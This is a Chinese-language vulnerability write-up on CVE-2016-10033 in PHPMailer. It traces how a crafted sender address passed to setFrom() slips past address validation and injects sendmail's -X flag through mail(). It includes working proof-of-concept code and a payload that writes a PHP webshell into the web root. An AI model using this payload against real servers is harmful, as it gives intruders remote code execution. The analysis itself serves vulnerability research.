[CVE-2016-10033] PHPMailer 5.2.17 命令执行漏洞分析与利用
[Vulnerability Analysis]
漏洞出来两天仍然没找到什么分析,就自己看了下。 本文首先介绍mail函数造成RCE的原理,然后分析PHPMailer源码并给出通用exp
Exploit php mail()
其中第五个参数additional_parameters
可以接受shell参数,描述如下:
additional_parameters (optional)
The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.
我们通过man sendmail
可以查看该位置支持的shell参数,其中-X
参数可以将邮件内容写入指定日志文件:
-X logfile
Log all traffic in and out of mailers in the indicated log file.
This should only be used as a last resort for debugging mailer
bugs. It will log a lot of data very quickly.
这样一来,如果mail()第五个参数可控,我们就可以利用-X
参数将含有邮件内容的日志写入到web路径中完成RCE。
PoC
模拟通过mail函数的第五个参数上传webshell的过程:
<?php
$message = '<?php phpinfo();?>';
mail('[email protected]','subject',$message,NULL,'-X /var/www/html/test/shell.php');
?>
执行之后,php代码写入日志文件
完成RCE
注:-X
参数写文件是追加模式,利用时应注意
PHPMailer源码分析
patch
用这个官方用例走一遍流程
<?php
/**
* This example shows sending a message using a local sendmail binary.
*/
require '../PHPMailerAutoload.php';
//Create a new PHPMailer instance
$mail = new PHPMailer;
// Set PHPMailer to use the sendmail transport
$mail->isSendmail();
//Set who the message is to be sent from
$mail->setFrom('[email protected]', 'First Last');
//Set an alternative reply-to address
$mail->addReplyTo('[email protected]', 'First Last');
//Set who the message is to be sent to
$mail->addAddress('[email protected]', 'John Doe');
//Set the subject line
$mail->Subject = 'PHPMailer sendmail test';
//Read an HTML message body from an external file, convert referenced images to embedded,
//convert HTML into a basic plain-text alternative body
$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__));
//Replace the plain text body with one created manually
$mail->AltBody = 'This is a plain-text message body';
//Attach an image file
$mail->addAttachment('images/phpmailer_mini.png');
//send the message, check for errors
if (!$mail->send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
用户可控输入($address
)首先在$mail->setFrom()
进行第一次检验
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
检验通过后,存入$this->Sender
用例末尾的send函数调用链:
$mail->send()
-> $this->postSend()
-> $this->mailSend()
之前可控的$this->Sender
被处理之后带入$this->mailPassthru()
$params = sprintf('-f%s', $this->Sender);
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
最终进入mail()第五个参数触发RCE
$result = @mail($to, $subject, $body, $header, $params);
Exploit
整个流程中最值得关心的是如何绕过$this->validateAddress()
这个函数在默认情况下,会根据php环境自动选择过滤方案
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
其规则为:
- 检测到PCRE环境,使用正则;
- 无PCRE,使用filter_var;
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
- 无PCRE且版本低于5.2.0,长度>3且包含
@
就可以
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
因此我们绕过该函数的思路:
- 用户重写或者手动指定了检验方法为
noregex
- 无PCRE且php版本低于5.2.0
- 绕正则
其中第二条也就是这个 发布在exploit.db的PoC 的条件。
如果这样就结束了,攻击面非常有限,于是选择正面刚一波这个正则。
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
经过简单分析和一番激烈的fuzz之后,发现了一种成功引入空格的方法
"". -X/a.php @xxx
最终的payload如下:
"<?php system($_GET['p']);?>". -X/var/www/html/final.php @xxx
这里仅使用了一个setForm()的可控点,无需配合其他输入即可完成webshell上传,当然具体还要看框架怎么用。
PoC
mail.php
<?php
require '../PHPMailerAutoload.php';
$payload = "\"<?php system(\$_GET['p']);?>\". -X/var/www/html/final.php @xxx";
$mail = new PHPMailer;
$mail->setFrom($payload);
$mail->addAddress('[email protected]', 'aaa');
$mail->Subject = 'subject';
$mail->Body = 'body';
if(!$mail->send()) {
echo $mail->ErrorInfo;
}
可以看到php代码(图中高亮处)已经被写入文件
执行id
命令,输出结果在下图高亮处
大规模利用仍需结合框架分析,WordPress针对该漏洞已发Patch,持续关注
ref
- http://thehackernews.com/2016/12/phpmailer-security.html
- https://github.com/PHPMailer/PHPMailer
- https://www.exploit-db.com/exploits/40968/
- https://www.saotn.org/exploit-phps-mail-get-remote-code-execution/